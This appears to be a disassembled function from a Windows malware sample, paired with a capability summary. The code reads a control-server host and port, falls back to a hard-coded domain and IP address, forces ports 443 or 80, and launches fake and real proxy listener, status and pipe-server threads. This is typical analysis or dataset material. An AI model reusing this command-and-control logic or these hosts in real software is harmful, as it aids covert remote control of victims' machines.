Function at 0x407810
Capabilities:
Check if file exists
Create thread
Resolve dns
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x42f730
mov eax, dword fs:[0]
push eax
sub esp, 0x64
push ebx
push ebp
push esi
push edi
mov eax, dword [0x43b3c0]
xor eax, esp
push eax
lea eax, [esp + 0x78]
mov dword fs:[0], eax
mov dword [esp + 0x20], ecx
mov eax, dword [ecx + 0x80]
push eax
push str.ProxyService_is_working___lu_...
call fcn.00405b80
add esp, 8
call fcn.00408c50
xor ebp, ebp
cmp dword [0x43d76c], ebp
jne 0x407881
push 4
call fcn.00417676
add esp, 4
cmp eax, ebp
je 0x40787a
mov dword [eax], vtable.CProxyStatus.0
jmp 0x40787c
xor eax, eax
mov dword [0x43d76c], eax
mov edi, dword [0x43d760]
cmp edi, ebp
jne 0x4078c6
push 0x14
call fcn.00417676
add esp, 4
mov esi, vtable.CPureString.0
cmp eax, ebp
je 0x4078ba
mov dword [eax], vtable.CConfigurator.0
mov edi, eax
mov dword [eax + 4], esi
mov dword [eax + 8], ebp
mov dword [eax + 0xc], ebp
mov dword [eax + 0x10], ebp
mov dword [0x43d760], edi
jmp 0x4078cb
xor eax, eax
mov edi, eax
mov dword [0x43d760], edi
jmp 0x4078cb
mov esi, vtable.CPureString.0
lea ecx, [esp + 0x54]
call fcn.00401730
lea ecx, [esp + 0x44]
push 0x436fcc
push ecx
mov ecx, eax
mov dword [esp + 0x88], ebp
call fcn.004082c0
add esp, 8
mov byte [esp + 0x80], 2
mov eax, dword [esp + 0x58]
mov dword [esp + 0x54], esi
cmp eax, ebp
je 0x40790c
push eax
call fcn.004174eb
add esp, 4
mov dword [esp + 0x34], esi
mov dword [esp + 0x38], ebp
mov dword [esp + 0x3c], ebp
mov dword [esp + 0x40], ebp
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], ebp
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x30], ebp
mov byte [esp + 0x80], 4
mov eax, 0x435d2a
cmp dword [esp + 0x4c], ebp
je 0x407943
mov eax, dword [esp + 0x48]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4079ea
push edi
call fcn.00401600
push str.www.3shitou.com
mov ebx, str.Host
lea edx, [esp + 0x68]
mov ecx, edi
call fcn.004016b0
push eax
lea esi, [esp + 0x38]
mov byte [esp + 0x84], 5
call fcn.004080d0
mov byte [esp + 0x80], 4
mov eax, dword [esp + 0x68]
mov dword [esp + 0x64], vtable.CPureString.0
cmp eax, ebp
je 0x4079a0
push eax
call fcn.004174eb
add esp, 4
push 0x437000
mov ebx, str.Port
lea edx, [esp + 0x68]
mov ecx, edi
call fcn.004016b0
push eax
lea esi, [esp + 0x28]
mov byte [esp + 0x84], 6
call fcn.004080d0
mov byte [esp + 0x80], 4
mov eax, dword [esp + 0x68]
mov dword [esp + 0x64], vtable.CPureString.0
cmp eax, ebp
je 0x407a06
push eax
call fcn.004174eb
add esp, 4
jmp 0x407a06
push str.www.3shitou.com
lea esi, [esp + 0x38]
call fcn.00408160
push 0x437000
lea esi, [esp + 0x28]
call fcn.00408160
mov eax, 0x435d2a
cmp dword [esp + 0x3c], ebp
je 0x407a15
mov eax, dword [esp + 0x38]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebp
je 0x407a4a
mov eax, dword [eax + 0xc]
cmp dword [eax], ebp
je 0x407a4a
mov edx, dword [eax]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov esi, eax
push esi
push str.The_CtrlServer_Resoved_IP_is__s_n
mov dword [esp + 0x20], esi
call fcn.00404f40
add esp, 8
cmp esi, ebp
jne 0x407a52
mov dword [esp + 0x18], str.219.238.235.37
mov eax, 0x435d2a
cmp dword [esp + 0x2c], ebp
je 0x407a61
mov eax, dword [esp + 0x28]
push eax
call fcn.004175ec
add esp, 4
mov dword [esp + 0x1c], eax
cmp eax, 0x1bb
je 0x407a82
cmp eax, 0x50
je 0x407a82
mov dword [esp + 0x1c], 0x1bb
call fcn.00404bf0
push 0x4c
mov dword [esp + 0x18], eax
call fcn.00417676
add esp, 4
cmp eax, ebp
je 0x407ad6
mov dword [eax + 8], ebp
mov dword [eax + 0xc], ebp
mov dword [eax + 0x10], ebp
mov dword [eax], vtable.CFakeProxyListenThread.0
mov dword [eax + 0x18], ebp
mov dword [eax + 0x1c], ebp
mov dword [eax + 0x20], ebp
mov dword [eax + 0x24], ebp
mov dword [eax + 0x28], ebp
mov dword [eax + 0x2c], ebp
mov dword [eax + 0x30], ebp
mov dword [eax + 0x34], ebp
mov dword [eax + 0x38], ebp
mov dword [eax + 0x3c], ebp
mov dword [0x43d770], ebp
mov dword [eax + 0x40], ebp
mov dword [eax + 0x44], ebp
mov esi, eax
jmp 0x407ad8
xor esi, esi
lea eax, [esi + 0x18]
push 0xf
mov dword [eax], ebp
push ebp
mov dword [eax + 4], ebp
push str.0.0.0.0
mov dword [eax + 8], ebp
push eax
mov dword [eax + 0xc], ebp
call fcn.00417600
lea eax, [esi + 0x30]
push 0xf
mov dword [esi + 0x28], 0x438
mov dword [esi + 0x2c], 0xe10
mov dword [eax], ebp
push ebp
mov dword [eax + 4], ebp
push str.127.0.0.1
mov dword [eax + 8], ebp
push eax
mov dword [eax + 0xc], ebp
call fcn.00417600
mov edi, dword [sym.imp.KERNEL32.dll_CreateEventA]
add esp, 0x20
push ebp
push ebp
push ebp
push ebp
mov dword [esi + 0x40], ebp
mov byte [esi + 4], 1
call edi
lea ecx, [esi + 0x10]
push ecx
push ebp
push esi
push 0x40c350
push ebp
push ebp
mov dword [esi + 8], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x38
mov dword [esi + 0xc], eax
call fcn.00417676
add esp, 4
cmp eax, ebp
je 0x407b89
mov dword [eax + 8], ebp
mov dword [eax + 0xc], ebp
mov dword [eax + 0x10], ebp
mov dword [eax], vtable.CProxyListenThread.0
mov dword [eax + 0x18], ebp
mov dword [eax + 0x1c], ebp
mov dword [eax + 0x20], ebp
mov dword [eax + 0x24], ebp
mov dword [0x43d770], ebp
mov dword [eax + 0x28], ebp
mov dword [eax + 0x2c], ebp
mov dword [eax + 0x30], ebp
mov ebx, eax
jmp 0x407b8b
xor ebx, ebx
cmp dword [esp + 0x14], ebp
je 0x407be1
lea eax, [ebx + 0x18]
push 0xf
mov dword [eax], ebp
push ebp
mov dword [eax + 4], ebp
push str.0.0.0.0
mov dword [eax + 8], ebp
push eax
mov dword [eax + 0xc], ebp
call fcn.00417600
add esp, 0x10
push ebp
push ebp
push ebp
push ebp
mov dword [ebx + 0x28], 0x1bb
mov dword [ebx + 0x2c], 0xe10
mov byte [ebx + 4], 1
call edi
lea edx, [ebx + 0x10]
push edx
push ebp
push ebx
push 0x40c350
push ebp
push ebp
mov dword [ebx + 8], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebx + 0xc], eax
push 0x48
call fcn.00417676
add esp, 4
cmp eax, ebp
je 0x407c31
mov dword [eax + 8], ebp
mov dword [eax + 0xc], ebp
mov dword [eax + 0x10], ebp
mov dword [eax], vtable.CStatusMaintainThread.0
mov dword [eax + 0x18], ebp
mov dword [eax + 0x1c], ebp
mov dword [eax + 0x20], ebp
mov dword [eax + 0x24], ebp
mov dword [eax + 0x28], ebp
mov dword [eax + 0x2c], ebp
mov dword [eax + 0x30], ebp
mov dword [eax + 0x34], ebp
mov dword [eax + 0x38], ebp
mov ecx, 1
mov dword [0x43d770], ebp
mov dword [eax + 0x3c], ebp
mov dword [eax + 0x40], ecx
mov dword [eax + 0x44], ecx
mov edi, eax
jmp 0x407c33
xor edi, edi
lea eax, [edi + 0x18]
push 0xf
mov dword [eax], ebp
push ebp
mov dword [eax + 4], ebp
push str.0.0.0.0
mov dword [eax + 8], ebp
push eax
mov dword [eax + 0xc], ebp
call fcn.00417600
mov ecx, dword [esp + 0x28]
add esp, 0x10
cmp ecx, ebp
je 0x407c75
lea eax, [edi + 0x2c]
push 0xf
mov dword [eax], ebp
push ebp
mov dword [eax + 4], ebp
push ecx
mov dword [eax + 8], ebp
push eax
mov dword [eax + 0xc], ebp
call fcn.00417600
add esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x14]
push ebp
push ebp
push ebp
push ebp
mov dword [edi + 0x28], ebp
mov dword [edi + 0x3c], eax
mov dword [edi + 0x44], ecx
mov byte [edi + 4], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
lea edx, [edi + 0x10]
push edx
push ebp
push edi
push 0x40c350
push ebp
push ebp
mov dword [edi + 8], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 4
mov dword [edi + 0xc], eax
call fcn.00417676
add esp, 4
cmp eax, ebp
je 0x407cc1
mov dword [eax], vtable.CPipeServerThread.0
lea eax, [esp + 0x1c]
push eax
push ebp
push ebp
push 0x405ca0
push ebp
push ebp
mov dword [0x43d768], esi
mov dword [esp + 0x34], ebp
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x20]
mov edx, dword [ecx + 0x70]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esi + 0xc]
cmp eax, ebp
je 0x407d01
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [esi + 0xc], ebp
mov dword [esi + 0x14], 3
cmp dword [esp + 0x14], ebp
je 0x407d27
mov eax, dword [ebx + 0xc]
cmp eax, ebp
je 0x407d20
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [ebx + 0xc], ebp
mov dword [ebx + 0x14], 3
mov eax, dword [edi + 0xc]
cmp eax, ebp
je 0x407d39
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [edi + 0xc], ebp
mov dword [edi + 0x14], 3
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
cmp ebx, ebp
je 0x407d58
mov eax, dword [ebx]
mov edx, dword [eax]
push 1
mov ecx, ebx
call edx
mov eax, dword [edi]
mov edx, dword [eax]
push 1
mov ecx, edi
call edx
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x7c]
add dword [eax + 0x80], ecx
mov byte [esp + 0x80], 3
mov eax, dword [esp + 0x28]
cmp eax, ebp
je 0x407d8e
push eax
call fcn.004174eb
add esp, 4
mov byte [esp + 0x80], 2
mov eax, dword [esp + 0x38]
cmp eax, ebp
je 0x407da7
push eax
call fcn.004174eb
add esp, 4
mov dword [esp + 0x80], 0xffffffff
mov eax, dword [esp + 0x48]
mov dword [esp + 0x44], vtable.CPureString.0
cmp eax, ebp
je 0x407dcb
push eax
call fcn.004174eb
add esp, 4
mov ecx, dword [esp + 0x78]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret